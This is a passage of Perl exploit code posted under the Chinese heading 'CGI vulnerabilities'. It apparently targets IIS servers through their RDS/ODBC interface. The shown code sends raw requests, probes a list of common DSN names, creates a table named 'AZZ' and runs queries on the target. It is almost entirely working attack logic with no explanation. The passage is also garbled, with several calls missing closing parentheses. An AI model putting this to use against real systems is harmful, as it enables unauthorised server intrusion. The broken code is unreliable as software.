CGI漏洞

CGI漏洞(36) print "Success!\n";} else { print "failed\n"; }}
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]"){
print "Success!\n"; } else { print "failed\n"; }}
exit;}

##############################################################################

sub create_table {
my ($in)=@_;
$reqlen=length( make_req(2,$in,"" ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,"");
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table ‘AZZ‘ already exists/;
return 0;}

##############################################################################

sub known_dsn {
# we want ‘wicca‘ first, because if step 2 made the DSN, it‘s ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest";

foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn");
if(create_table("DSN=$dSn"){
print "$dSn successful\n";
if(run_query("DSN=$dSn"){
print "Success!\n"; save (3,3,"DSN=$dSn",""; exit; } else {